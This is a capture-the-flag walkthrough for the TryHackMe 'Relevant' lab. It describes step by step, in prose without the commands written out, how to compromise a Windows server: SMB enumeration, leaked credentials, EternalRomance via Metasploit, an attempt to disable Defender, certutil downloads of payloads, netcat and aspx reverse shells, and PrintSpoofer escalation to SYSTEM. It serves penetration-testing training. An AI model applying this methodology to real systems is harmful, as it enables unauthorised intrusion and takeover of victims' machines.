Relevant - TryHackMe Room
The link for this lab is located here: https://tryhackme.com/room/relevant
In this room, you will perform a full penetration test. The goal is to find and report all the vulnerabilities and give advice on how to patch them - also a good lesson on rabbit holes.
Full Walkthrough
First thing we do is run a simple nmap scan that scans all TCP ports for an overview of the machine.
This reveals multiple ports are open including HTTP, SMB, RDP and some Windows RPC ports. The next step is to perform a more detailed scan on the ports identified as open including service enumeration and possible OS detection.
This gives us much more detail about the machine including that there is also a hidden web server running on port 49663 - keep in the back of your mind. Before going any further, we know SMB is running on this machine. As a good methodology, we can use smbclient to check if anonymous login is allowed via SMB on this machine.
And we can. Looking at the shares available, one stands out to us - nt4wrksv. Looking at this, we can try and connect to this specific share using smbclient once again.
Listing the files inside this share reveals a “passwords.txt” file that we can download using the “get” command.
Looking inside this file reveals what looks like some encoded passwords.
Seeing the “==“ at the end of the first one tells me this is likely a Base64 encoded string. Knowing this we can use an online Base64 decoder to possible decode these strings.
Decoding the first line reveals what looks like some simple credentials - what they are for however is not known at this time.
Decoding the second one gives us another possible credential that we could use for some service or possibly privilege escalation.
However, before moving on, there is one more thing we can test. Knowing that this is a Windows machine running SMB and that Nmap detected it as a possible Windows Server 2008 R2 or Windows Server 2012 machine, it is highly likely that this machine is vulnerable to the famous EternalBlue SMB exploit.
To check this, we can run an Nmap script that will help determine if it is vulnerable or not. For this Nmap scan, we simply specify the ports 139 and 445 (SMB ports) followed by the specific script we want to use.
And, as expected, Nmap reports back that this machine is likely vulnerable to MS17-010. Now that we have almost 100% confirmed this machine is vulnerable, we can try running this exploit.
Doing a quick Google search for EternalBlue exploits against Windows Server 2008 R2 revealed the following article explaining that three more exploits were developed after EternalBlue.
Looking deeper into this, it seems that EternalRomance is the one we want for this specific operating system. However, this exploit is an authenticated attack - we need credentials (maybe the ones we found earlier?)
Launching Metasploit and searching for EternalRomance reveals a couple of modules that are available in Metasploit.
Looking at the results, it seems the first option - the one beginning with exploit - is the one we need. Selecting this exploit and listing the options reveals the following:
It seems like we only need to set the following options - RHOSTS, PAYLOAD, LHOST and LPORT.
Once set, we can try running the exploit. Unfortunately, in my case, this exploit did not want to work after multiple tries. A good thing to note is that you can also provide credentials for this exploit - however, for me, this did not fix this specific exploit but it might for you.
Instead, I tried the 2nd module that appeared - the auxiliary command module.
Looking at these options, it seems there is a few more options we need to set. In this case, these are:
COMMAND
RHOSTS
SMBUser
SMBPass
Where the most interesting is the command and the SMB credentials. The command is essentially any Windows command we want to run. For this scenario, I chose to simply run the “whoami” command but you could go crazy and run some malware or even receive a reverse shell back via PowerShell for example.
Secondly, the SMB credentials are interesting. Looking back at the passwords.txt file we found before, we could try using the two credentials as the SMB user and password. In this case, the Bill user’s credentials worked.
After running the exploit, we get the result of our command - in this case, the whoami command revealing that we are running as the SYSTEM user.
An interesting thing we can now do to help us is turn off Windows Defender through this exploit as we are running as the SYSTEM user. A Quick Google search reveals we can turn it off via the following command.
But, before we go turning it off, we can first query it to see if it is running in the first place. To do this, we first change the COMMAND option in the metasploit module to the required command.
Then, we can simply run the exploit once more and see the results of our command.
In this case, Windows Defender is running but it is also stoppable as specified in the output.
Knowing this, we can try disabling it to help us gain access to the machine easier. To do this, we once again change the COMMAND option to the required command and run it.
Unfortunately, we get an access denied message.
However, this does not stop us from trying to get a malicious executable on the machine anyways. We can use MSFvenom to create a malicious executable with a Meterpreter payload.
Once created, we can host the malicious .exe file using a Python3 web server running locally on our attacking machine.
Then, we can change the COMMAND option in Metasploit to use the Certutil command to download the executable from our machine to the target machine
Once successfully downloaded, we can start a listener in Metasploit to catch the reverse TCP meterpreter shell once the payload is executed on the target machine.
Finally, we can change the COMMAND option in Metasploit to execute the mshell.exe payload on the target machine and run it.
Unfortunately, that doesn’t seem to work for me. However, there is another method. Instead, we can use a netcat executable to simply gain a connection to the victim machine.
To do this, we first need to navigate to the Netcat Github directory.
Then, we simply download the “nc.exe” Git directory to our attacker machine.
Once again, we serve this file up using Python3 as a web server.
Then, we set the COMMAND option again to the certutil command - this time downloading the “nc64.exe” executable file because it is a 64-bit machine.
Before executing, we set up a simple netcat listener on our attacker machine on port 443 (common port allowed through a firewall).
Finally, we set the COMMAND to run the netcat executable file and connect back to our attacker machine IP on port 443 executing a simple CMD prompt for us.
Once ran, looking back at our netcat listener, we get a shell running as the SYSTEM user - full privileges!
All that’s left is to grab the user.txt file found in C:\Users\Bob\Desktop.
And the root.txt file located at C:\Users\Administrator\Desktop.
Alternative Way - HTTP
Now that we have confirmed that SMB exploitation is possible, we can try looking at the website for any other exploits.
Navigating to the website located on port 80 reveals a default Microsoft IIS landing page. Remembering that there was another web page running on port 49663, we can try and see if anything interesting is running on that port.
Navigating to that port also reveals a default IIS landing page.
Now, because a server running on port 49663 is not standard, I decided to run a directory busting tool on the server running on port 49663. For this, I used Gobuster and the dirbuster medium wordlist.
After a short while, an interesting directory comes back - nt4wrksv. If you remember back to the SMB enumeration, this is the same random string that appeared as an SMB share.
Trying to navigate to that reveals a simple blank page meaning it exists and we can get to it but there is nothing there.
However, remembering back to the SMB share, there was a passwords.txt file that we can try to gain access to through the browser.
We are able to access any file in the SMB share through the web browser - we can possibly upload a malicious file through SMB and execute it through the browser.
To test this works, we can first test a simple text file by uploading it through the smbclient program.
It successfully uploads. To check if we have access to it, we can simply navigate to it through the browser and we can see the contents.
Now that we have file execution confirmation, we can create a malicious file that will run through the IIS server and give us a reverse shell. To do this, we once again use MSFvenom and create a malicious .aspx file.
Before executing, we once again start a netcat listener on port 443.
Then, we simply connect to the SMB share and upload the shell.aspx file to the share.
Then, to execute it, we simply navigate to it through the browser.
Looking back at the netcat listener, we receive a shell running as the IIS/apppool user.
Next, we can check our privileges by running the “whoami /priv” command.
Looking at the results, we see the SeImpersonatePrivilege token is available. Doing some research reveals the following information:
The JuicyPotato looks like it might work. Googling some more about JuicyPotato reveals that there are a few requirements for it to work:
Most importantly, it requires a COM server with a unique CLSID. After some fiddling around, this exploit did not work. Going down the list, I found an already compiled PrintSpoofer exploit.
After downloading this executable, I simply uploaded it to the SMB share as before.
Finally, on the target machine, listing the contents of the current directory reveals a nt4wrksv directory. Going inside this directory, we see the PrintSpoofer.exe that was just uploaded as well as the other files.
Then, simply following the instructions on the GitHub, we run it with the parameters and gain a SYSTEM level shell.
And, as always, we can grab the flags as proof.
That completes this box! I hope you learned a ton from this box including EternalRomance and the PrintSpoofer exploit. I wish you all the best on your journey!
